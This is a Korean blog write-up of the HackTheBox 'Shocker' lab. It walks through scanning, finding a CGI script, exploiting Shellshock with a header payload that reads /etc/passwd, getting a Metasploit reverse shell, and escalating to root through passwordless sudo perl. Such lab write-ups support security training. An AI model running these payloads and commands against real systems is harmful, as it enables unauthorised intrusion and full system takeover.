hackthebox

HackTheBox - Shocker

sheow13 2023. 11. 10. 17:12
728x90

 

 HackTheBox - Shocker환경 실습

 

 진행 절차

Reconnaissance(정찰)

Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, SSH가 Open되어 있음을 확인

명령어
root@kali#nmap sV –sC 10.10.10.56

[nmap 조회 결과 HTTP, SSH Open 확인]

 

Step 2. SSH는 사용자 이름 Brute Force 등 밖에 시도할만한 공격이 없는 것으로 판단되어, HTTP로 접근 했을 때 이미지 파일 올라온 것 이외의 특이사항이 없는 것으로 판단. 디렉토리 scan을 통해 확인 시, '/cgi-bin/', '/icons', '/icons/small/' 디렉토리가 403(forbidden)으로 접근 불가능하며, 이외에 디렉토리는 탐지된 것이 없는것으로 확인. 해당 디렉토리 자체는 접근이 불가능하여도 하위 파일들은 접근 가능할 수 있어 시스템 중요 파일인(.sh, .cgi. .pl) 조회 시 'user.sh'가 있는 것으로 확인되며 접근했을 때 파일 다운로드 되는 것으로 확인

명령어
root@kali#dirb http://10.10.10.56
root@kali#dirbuster
root@kali#ffuf w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt –u http://10.10.10.56/FUZZ
root@kali#feroxbuster u http://10.10.10.56 f –n
root@kali#feroxbuster –u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl

 

[디렉토리 스캔 도구인 dirbuster 조회 시, '/cgi-bin/' 등 403 에러 이외에 탐지된 이력 없음 확인]
[ffuf 조회 결과]
[feroxbuster 조회 결과]
[접근 금지된 디렉토리인('/cgi-bin/') 경로에 자주 사용하는 스크립트 값 조회 시, 'user.sh' 파일이 있음을 확인]

 

 

[해당 경로로 접근 시, 다운로드가 가능한 것으로 확인]

 

 

 

Step 3. 해당 파일을 open 했을 때, 서버 uptime 시간이 찍힌 파일인것으로 확인. 리눅스 명령어인 uptime 명령어 구조와 비슷한 것으로 확인되어 쉘 스크립트로 추측되어 burpsuite으로 확인 시, Content-Type이 'text/x-sh'인 것으로 확인했을 때, bash 쉘을 사용하고 있는 것으로 확인.

 

['user.sh' 열람 시, 시스템 사용 시간 등을 알려주는 텍스트 확인]

 

[리눅스 명령어 'uptime' 명령어와 동일한 것으로 확인]

 

[웹 프록시를 통해 확인 시, 쉘 스크립트를 사용하고 있는 것으로 확인]

 

 

Execution(실행)

Step 4. 리눅스/유닉스 기반 서버에 GNU bash shell에서 공격자가 원격으로 명령어를 실행 할 수 있는 취약점인 ShellShock(CVE-2014-6271) 공격 진행 시, 시스템 명령어가 동작하는 것으로 확인. netcat 또는 metasploit을 통해 exploit 진행 시 리버스 쉘 획득 성공 확인

- ShellShock Vulnerability(CVE-2014-6271) :  GNU bash shell에서 환경변수를 통해 공격자가 명령어를 실행할 수 있는 취약점으로, 공격자는 Shellshock에 취약한 홈페이지에 요청 헤더값을 변조하여 공격을 진행 후 주요 정보 또는 악성코드 삽입등이 가능한 취약점.
 웹에서 요청 헤더값에 '() {:;}; echo /bin/cat /etc/passwd' 입력 시, bash에서는 var = (){:;}; echo; /bin/cat /etc/passwd로 입력 받음.
 - (){:;} : 함수 즉시 실행하라는 의미로 기본 구조는 (function() {}); 형태로 구성. 
 - echo : 리눅스 명령어로 입력값에 대해 출력
 - /bin/cat /etc/passwd : 리눅스 시스템 명령어를 사용하여 리눅스 계정 정보를 다루는 파일 조회

 

 

 

[Shellshock 동작하는 구조]

 

 

명령어
root@kali#msfconsole
msf6>search shellshock
msf6> use 1
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set RHOSTS [타겟 IP]
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set targeturi /cgi-bin/user.sh
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set LHOST [Kali IP]
msf6(multi/http/apache_mod_cgi_bash_env_exec)> exploit

 

[요청 헤더에 쉘 스크립트 삽입]
[시스템 명령어 정상 동작 확인]

 

[metasploit 실행 후 apache 환경 shellshock 선택]
[옵션 입력 후 공격 진행 시 정상적으로 리버스 커넥션 성공 확인]

 

Privilege Escalation(권한 상승)

Step 5. 권한 상승을 위하여 확인하는 도중, sudo perl이 루트 권한으로 패스워드 없이 동작하는 것으로 확인. 해당 취약점을 이용하여 루트 권한으로 권한 상승 시 정상 동작 확인

명령어
meterpreter > shell
python3 –c ‘import pty;pty.spawn(“/bin/bash”)’
shelly@Shocker$sudo -l
shelly@Shocker$sudo perl –e ‘exec “/bin/bash”’

 

[sudo 명령어 중 perl이 패스워드 없이 루트 권한으로 실행 가능 확인하여. Perl 스크립트로 bash 환경 실행 시 루트 권한 획득 확인]

 

'hackthebox' 카테고리의 다른 글

HackTheBox - Nineveh  (0) 2023.11.22
HackTheBox - Cronos  (2) 2023.11.17
HackTheBox - Beep  (0) 2023.11.15
HackTheBox - Nibbles  (0) 2023.11.14
HackTheBox - Bashed  (2) 2023.11.13